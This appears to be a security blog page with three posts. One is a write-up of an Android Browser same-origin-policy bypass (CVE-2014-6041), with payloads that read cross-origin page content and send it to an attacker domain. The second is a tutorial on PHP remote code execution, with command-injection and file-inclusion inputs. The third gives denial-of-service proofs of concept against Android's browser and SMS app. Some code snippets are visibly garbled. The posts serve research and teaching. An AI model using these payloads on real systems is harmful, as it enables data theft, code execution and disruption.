Latest News

Android Browser Same Origin Policy Bypass < 4.4 - CVE-2014-6041


Same Origin Policy (SOP) is one of the most important security mechanisms that are applied in modern browsers, the basic idea behind the SOP is the javaScript from one origin should not be able to access the properties of a website on another origin. The origin is formed by the combination of Scheme, domain and port with the port being an exception to IE. There are some exceptions with SOP such the location property, objects wtih src attribute. However, the fundamental are that different origins should not be able to access the properties of one another.

SOP Bypass

A SOP bypass occurs when a is some how able to access the properties of such as cookies, location, response etc. Due to the nature of the issue and potential impact, browsers have very strict model pertaining it and a SOP bypass is rarely found in modern browsers. However, they are found once in a while. The following writeup describes a SOP bypass vulnerability i found in my Qmobile Noir A20 running Android Browser 4.2.1, and later verified that Sony+Xperia+Tipo, Samsung galaxy, HTC Wildfire, Motrorolla etc are also affected. To best of my knowledge, the issue occurred due to improper handling of nullbytes by url parser.

Update: Other folks have verified this issue to work under Android browser < 4.4. Ref -

The following is a proof of concept:

Proof Of Concept 

<iframe name="test" src=""></iframe>
<input type=button value="test"
onclick="'\u0000javascript:alert(document.domain)','test')" >

As you can see that the code tries accessing the document.domain property of a site loaded into an iframe. If you run the POC at on any of the modern browsers, it would return a similar error as should not be able to access the document.domain property of

Blocked a frame with origin "" from accessing a frame with origin "". Protocols, domains, and ports must match.

However, running it on any of the vulnerable smart phones default browsers would alert the document.domain property indicating that the SOP was not able to restrict the access to document.domain property of a site at a different origin.

I created the following POC, so you can mess around with some stuff:

Reading the response

You can read the response of any page by accessing the document.body.innerHTML property.

<iframe name="test" src=""></iframe>
<input type=button value="test"
onclick="'\u0000javascript:alert(document.body.innerHTML)','test')" >

Reading the response and sending it to an attackers domain

In real world situation an attacker would send the response to his controlled domain. 

<iframe name="test" src=""></iframe>
<input type=button value="test"
onclick="'\u0000javascript:var i=new Image();i.src='//'+document.body.innerHTML;document.body.appendChild(i);','test')" >

Bypassing Frame Busting Code

A lot of websites still use frame busting code to prevent the page from being prevent and since we can only bypass SOP here when the site could be framed. In case, where the site is using a frame busting code, we can bypass it using the sandbox attribute that was introduced as a part of HTML5 specifications.

<iframe name="test" src="" sandbox></iframe>
<input type=button value="test"
onclick="'\u0000javascript:var i=new Image();i.src='//'+document.body.innerHTML;document.body.appendChild(i);','test')" >

Update: A metasploit module has been released by jvennix-r7 which also supports x-frame-options bypass making it a completely universal exploit.  Ref -

Affected Versions

The initial tests were carried out on android browser 4.2.1 (Qmobile) and below and later verified with Galaxy S3, HTC wildfire, Sony Xperia, Qmobile etc.

The following are some of the smartphones i tested with

Samsung Galaxy S3

Motrorolla Razr

Sony Xperia Tipo

HTC Evo 3D and Wildfire 

Hope you enjoyed it, Until next time. Pass the comments.


Press Coverage

Remote Code Execution in PHP Explained - Part 1

This is a two part article about code execution in PHP. It’s a very detailed article and contains references from other sources as well. I will discuss about some of the mistakes done by PHP developers which result in Remote Code Execution Vulnerability. It’s no secret that PHP is an easy to code language; however a lot of new PHP developers lack the knowledge of basic security principles which results in to new poorly written web-application often introducing critical vulnerabilities.

PHP Vulnerable Functions

Let’s take a look at the very common class of functions which when used insecurely result in a remote code execution. Any untrusted input passed through one of these functions without sanitization would result in an arbitrary code being executed. eval() , system(), exec(), shell_exec()

The first fair case I would say is using the eval function. Web-developers usually want to evaluate desired code with some dynamic changes. Let’s take a look at the following example:
eval("echo $name;");
In this case variable will be treated as PHP code, so contents of $name will be evaluated
eval('echo $name;');
In second one value of $name will be simply echoed. So, if your intention was second case, there is no reason to use double quotes for any calls.

As you can see, sanitizing eval can be a big waste of time and there is no function designed in php to properly escape eval. Mostly this kind of issues occur with scripts like:

$name = $_GET[‘name’]
system(“echo $name”);
So seeing from the above code, whatever code we gave it, the developer thinks it will just print it out. It’s a right conclusion but with a wrong angle of view, an attacker can give values like

“Paulos;ls –la” or “Paulos && dir” for windows systems

And execute the ls –la command, since ‘;’ means to execute that line and to execute a new one, i.e ls -la
So the output would be “Paulos” with the list of the current directory. 

Similarly other functions such as shell_exec, exec would result in the same vulnerability. 


One popular case leading to code evaluation is regex. Regexps are used widely because it is often easier to write regex than to individually do it. A lot of web application filters and firewalls use rules that are based upon regex.

PHP has support of the Perl Compatible Regex; there is availability of ‘e preg_replace_eval’ modified in regex for functions. Like preg_replace() for example, When a is match found, it then will be executed. 

It’s obvious the intention of the developer was to sanitize the input with addslashes(). Even if there is no ‘e’ modifier, sometimes it is possible to evaluate code. It can be achieved by writing some regular expression with the help of our dear friend, the null byte. 

<?php $replace=$_GET['re'];$name='<p>phpinfo()</p>';preg_replace("/<p>(.*?)$replace<\/p>/",'\\1',$name);?>
This example is an easy one and native but, the aim is to show how null-byte attack could work. Now consider that vulnerable script accepts request like this:


Function Tasks

The function tasks are one of the other ways how code execution could occur, let’s take a look at the following example:

<?php $name=$_GET[‘name’];$argument=$_GET['argument'];$name($argument);?>

In case if register_globals flag is set to enabled, the previous code is equivalent to:

<?php $name($argument);?>
From here the exploitation is piece of cake: 


The  $name becomes name of function and $argument is the argument of name. It should be clear what it could do.

In another case with create_function(), it is possible to create veiled function. For example:
<?php $name=$_GET['name'];$create =create_function('$name',"echo $name;");$name('');?>
Then following request would give out result phpinfo()


In eval() it was equivalent to something like: 

<?php eval("function this_is_so_safe() { echo phpinfo(); }");this_is_so_safe();?>


In PHP there are some functions that are used to dynamically include the PHP code inside the page, if an untrusted input is used to dynamically include files inside of a page, it would result into a file inclusion vulnerability.
Here is the list of some functions that need to be handled with care - include(), iclude_once(), require(), require_once() etc 
Best way to be preserved from this kind of attacks is to avoid using dynamic file paths. If this is not possible, then the usage of this should be limited and checked by a list of allowed files to be included. Also try to use absolute path rather than relative. But if the PHP directive include path is able to be modified, you can never know where the script with defined partial path comes from. Good approach is to use file inclusion as follows:
<?php define('MY_FILE_PATH','/var/www/htdocs/');require_once(APP_PATH .'lib.php');?>
Let’s now take a look at another example, consider the following page:


page1 is the file that is dynamically included into the webpage, by looking at the above url, we can assume that the backend would be using the following code:

<?php $page_to_include=$_GET['file'];require_once($page_to_include.'.html');?>

And now imagine that attacker changes value of variable “file” to following:

http://localhost/index.php?file=data:text/plain,<?php phpinfo();?>

LFI can easily be converted to remote code execution (RCE) in one way more. This new data protocol has appeared in PHP 5.2.0 and in older versions will not work. Also PHP will argue and would not allow to use it if allow_url_include=off which results in a full path disclosure.

There are other possibilities how code can be injected and later evaluated; via apache log files, using “/proc” and others. Without a doubt, inappropriate usage of functions like file_get_contents(), readfile(), input wrappers like php://input and others represent a threat as well. However, the exploitation part is a subject of another article.


Register_globals is a php setting that allows variables to be registered as global, the register_globals has lead to security issues such as file inclusion discussed above , as a result of which register_globals is by default switched off in 4.2 and will remove it in php version 6.0. Let's take a look at the following code, assuming that register_globals flag is turned on.

foreach($_GET as $key=>$name){
// ...
// ... logged area
The above code takes each user input, then if the variable authenticated is true, or the function is true, it will execute admin codes, so when register globals is on, we can modify every variable as a global using post and get requests.

Thus when we make the variable globally true using a get request, the if statement becomes true and executes its code:

http:// localhost/index.php?authenticated=true.

Even if $authenticated is an integer variable. It means we can pass something like http:// localhost/index.php?authenticated=1 since 1 is true and 0 is not so much. so either we gave it 1 or true, it still gets code executed..

Hope you have enjoyed the first article, we would continue the series and present some other scenarios that lead to arbitrary code execution inside the next part.

About The Author

This following article is a guets post by Paulos Yibelo. Yibelo is the newest member of RHA family. He is a full time PHP coder and most of his research is involved with application security. In his free time he loves writing articles related to application security at

About The Editor

This article was edited by "Fatima Hanif", a student at NED university. She is responsible for editorial work at RHA infosec.



Android Browser + Messaging App DOS

While being impressed by Collin Mulliner's research on smart phones, I found myself very curious trying to find vulnerabilities inside it and i found several ones out. In this short blog post I would be discussing about DOS vulnerabilities inside the default browser and the messaging app of Qmobile Noir A20. Qmobile Noir A20 runs on Android 4.1.2. The flaw itself is present it inside pre kitkat browsers as well as the default messaging system, however since most of the Qmobile smartphones within the released with or slightly after Noir A20 are most likely using the same browser version and messaging app.

Android Browser DOS

The vulnerability is a simply Denial of service issue due to the writing overly long strings of iframes to the DOM.

Here is the POC:

<title>Android Browser DOS</title>
  frame = "<iframe src=\"test:";
  for (i = 0; i < 100000; i++) {
      frame = frame + "0000000000000000000000000000000000"; // Long string of Numbers  }
 frame = frame + "\" width=125 height=125></iframe>"; // Appending the resultant of the loop to closing tag.  document.write(frame); // Writing the value of frame to DOM

Messaging App DOS

A sms protocol provides text messaging component for all smartphones, During my tests, I concluded that the default messaging app for Qmobile Noir A20 is not able to handle long strings sent via sms:// protocol. Please note that this is partly recoverable DOS, and also the exact conditions for DOS are not yet known.

Here is the POC:

  <title>Android Browser SMS Protocol Denial Of Service</title>
  frame = "<iframe src=\"sms:";
  for (i = 0; i < 30000; i++) {
          frame = frame + "+12345678912222222222222";
 frame = frame + "\" </iframe><iframe src='sms:+1234567891212121222222222'></iframe>";


Contact Us

24x7 online , we happy to answer you , ,
skype: greeenchip


This Blog and its TUT's are intended for educational purposes only, no-one involved in the creation of this TuT may be held responsible for any illegal acts brought about by this Blog or TuT.

Featured Post

Custom Domains And HTTPS Redirection Code